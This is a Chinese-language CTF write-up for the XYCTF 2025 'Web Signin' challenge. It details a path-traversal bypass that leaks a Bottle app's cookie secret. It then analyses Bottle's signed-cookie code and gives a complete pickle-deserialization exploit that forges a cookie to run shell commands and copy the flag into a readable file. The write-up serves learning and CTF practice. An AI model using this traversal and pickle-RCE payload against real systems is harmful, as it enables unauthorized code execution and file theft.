[XYCTF 2025 Web Signin]快速理解bottle模板的set_cookie和get_cookie的原理,利用get_cookie伪造cookie进行pickle反序列化执行命令

bottle模板的set_cookie和get_cookie的理解

我们来看这道题的源码

 # -*- encoding: utf-8 -*-
 '''
 @File    :   main.py
 @Time    :   2025/03/28 22:20:49
 @Author  :   LamentXU 
 '''
 '''
 flag in /flag_{uuid4}
 '''
 from bottle import Bottle, request, response, redirect, static_file, run, route
 with open('../../secret.txt', 'r') as f:
     secret = f.read()
 ​
 app = Bottle()
 @route('/')
 def index():
     return '''HI'''
 @route('/download')
 def download():
     name = request.query.filename
     if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
         response.status = 403
         return 'Forbidden'
     with open(name, 'rb') as f:
         data = f.read()
     return data
 ​
 @route('/secret')
 def secret_page():
     try:
         session = request.get_cookie("name", secret=secret)
         if not session or session["name"] == "guest":
             session = {"name": "guest"}
             response.set_cookie("name", session, secret=secret)
             return 'Forbidden!'
         if session["name"] == "admin":
             return 'The secret has been deleted!'
     except:
         return "Error!"
 run(host='0.0.0.0', port=8080, debug=False)

目录穿越访问/secret.txt

 def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256):
         value = self.cookies.get(key)
         if secret:
             # See BaseResponse.set_cookie for details on signed cookies.
             if value and value.startswith('!') and '?' in value:
                 sig, msg = map(tob, value[1:].split('?', 1))
                 hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()
                 if _lscmp(sig, base64.b64encode(hash)):
                     dst = pickle.loads(base64.b64decode(msg))
                     if dst and dst[0] == key:
                         return dst[1]
             return default
         return value or default

这个很好绕过,题目中只是说不能以/或者../开头,且不能包含../../,直接./../绕过就好了

 /download?filename=./.././../secret.txt

查看get_cookie源码

拿到secret后不知道要干啥了,我们来看一下get_cookie的源码

vscode中摁住ctrl左键点击get_cookie就能看到源码

 def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256):
         value = self.cookies.get(key)
         if secret:
             # See BaseResponse.set_cookie for details on signed cookies.
             if value and value.startswith('!') and '?' in value:
                 sig, msg = map(tob, value[1:].split('?', 1))
                 hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()
                 if _lscmp(sig, base64.b64encode(hash)):
                     dst = pickle.loads(base64.b64decode(msg))
                     if dst and dst[0] == key:
                         return dst[1]
             return default
         return value or default

一点一点来分析这段代码

 value = self.cookies.get(key)

首先从self.cookies字典中获取指定key的cookie值。如果该cookie存在,value将是对应的值;若不存在,则value将为None

 if secret:

判断是否传入了secret参数,如果提供了secret,就意味着我们需要进行签名验证来确保cookie的完整性和安全性

 if value and value.startswith('!') and '?' in value:

检查value是否存在, 并且确认格式是否正确,是否以叹号开头并且包含问号,问号(?)是用来分割签名(sig)和消息(msg)的标识

 sig, msg = map(tob, value[1:].split('?', 1))

从cookie中提取出签名和消息部分

value[1:]跳过开头的叹号

split('?', 1)按照问号分割,只分割一次

map(tob, ...)将分割后的签名和消息转换为字节格式(tob函数假设将字符串转换为字节)

 hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()

使用提供的secret和msg生成一个哈希签名,验证cookie是否被篡改。这里使用了HMAC(Hash-based Message Authentication Code),并利用指定的digestmod(默认为hashlib.sha256)算法计算哈希

 if _lscmp(sig, base64.b64encode(hash)):

将计算出来的哈希值与从cookie中提取的sig进行比较,通过_lscmp函数确保他们是相等的。如果相等,意味着该cookie是有效的,没有被篡改

 dst = pickle.loads(base64.b64decode(msg))

如果签名验证通过,则对消息进行解码。这里使用base64.b64decode先对消息进行base64解码,然后再用pickle.loads将其反序列化为原始数据结构。

 if dst and dst[0] == key:  
     return dst[1]

确保解码得到的对象dst不是空,并且其第一个元素与请求的key匹配。如果匹配,则返回该cookie的值dst[1]

 return default

如果没有找到该cookie、签名不匹配、或者其他任何情况导致未能成功获取cookie,则返回提供的默认值default

总结

这样其实利用点就很清晰了,我们需要伪造一个cookie能通过get_cookie的验证到达反序列化这一步,然后利用pickle反序列化中的reduce魔术方法在反序列化的同时执行我们的代码。下一步就是如何构造这个cookie使得能让他通过get_cookie的验证。

set_cookie

在bottle模板中,与get_cookie对应的就是set_cookie,一个构造cookie,一个验证cookie。也就是说如果我们要利用get_cookie进行pickle反序列化执行我们的代码,我们就要利用set_cookie来构造cookie通过get_cookie的验证。

查看set_cookie源码

我们老办法查看set_cookie的源码

 def set_cookie(self, name, value, secret=None, digestmod=hashlib.sha256, **options):
         if not self._cookies:
             self._cookies = SimpleCookie()
 ​
         # Monkey-patch Cookie lib to support 'SameSite' parameter
         # https://tools.ietf.org/html/draft-west-first-party-cookies-07#section-4.1
         if py < (3, 8, 0):
             Morsel._reserved.setdefault('samesite', 'SameSite')
 ​
         if secret:
             if not isinstance(value, basestring):
                 depr(0, 13, "Pickling of arbitrary objects into cookies is "
                             "deprecated.", "Only store strings in cookies. "
                             "JSON strings are fine, too.")
             encoded = base64.b64encode(pickle.dumps([name, value], -1))
             sig = base64.b64encode(hmac.new(tob(secret), encoded,
                                             digestmod=digestmod).digest())
             value = touni(tob('!') + sig + tob('?') + encoded)

只需要看到这里就可以了,因为这个题就要用到secret进行签名

 if not self._cookies:  
     self._cookies = SimpleCookie()

检查cookie是否存在。如果不存在,则初始化一个SimpleCookie对象,这是python标准库中用于处理cookies的类

 # Monkey-patch Cookie lib to support 'SameSite' parameter  
 if py < (3, 8, 0):  
     Morsel._reserved.setdefault('samesite', 'SameSite')

这里是兼容旧版本python

 if secret:
             if not isinstance(value, basestring):
                 depr(0, 13, "Pickling of arbitrary objects into cookies is "
                             "deprecated.", "Only store strings in cookies. "
                             "JSON strings are fine, too.")

判断是否传入了secret参数,如果传入了表示该cookie是一个经过签名的cookie,然后检查value是否为字符串。如果不是字符串则发出警告,表明不建议将任意对象序列化到cookie中

 encoded = base64.b64encode(pickle.dumps([name, value], -1))

将cookie的名称和值打包成一个列表,并使用pickle.dumps进行序列化,然后使用base64编码,以便安全地存储在cookie中。

 sig = base64.b64encode(hmac.new(tob(secret), encoded,  
                                 digestmod=digestmod).digest())

使用HMAC和提供的secret对编码后的值进行哈希,生成一个签名(sig),确保cookie的完整性和安全性

 value = touni(tob('!') + sig + tob('?') + encoded)

将叹号,sig,问号和编码后的值组合成最终的cookie值。这种格式用于标明这是一个签名cookie

总结

 c=cmd()
 response.set_cookie("name",c,secret="Hell0_H@cker_Y0u_A3r_Sm@r7")
 print(response.set_cookie)

我们的思路明确了,要想绕过get_cookie的判断,就要利用set_cookie来伪造一个cookie,secret我们已经拿到了,下面就是往里面塞入代码,使得cookie在反序列化的时候能够执行我们想让他执行的代码

构造exp

首先构造反序列化执行的部分

 class cmd():
     def __reduce__(self):
         return (eval,("__import__('os').popen('cat /f*>>/app/app/app.py').read()"))

然后就是生成cookie的部分

 c=cmd()
 response.set_cookie("name",c,secret="Hell0_H@cker_Y0u_A3r_Sm@r7")
 print(response.set_cookie)

这样就可以成功绕过get_cookie的判断,secret签名正确,然后就会将name的值反序列化,反序列化时就会触发reduce魔术方法执行return的内容,我们就成功把/f*的内容写入到了/app/app/app.py中,我们通过download路由访问这个文件就能拿到flag。

完整exp

 from bottle import Bottle, request, response,run, route
 ​
 class cmd():
     def __reduce__(self):
         return (exec,("__import__('os').popen('cat /f*>/app/app/app.py').read()",))
 ​
 c = cmd()
 #session = {"name":c}
 response.set_cookie("name",c,secret="Hell0_H@cker_Y0u_A3r_Sm@r7")
 print(response._cookies)

解题

运行拿到cookie

我们拿着这个cookie替换环境中原有的cookie

刷新,通过download路由文件读取app.py,拿到flag

 仍是萌新,个人理解,用作学习记录,如有错误请师傅们指出。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值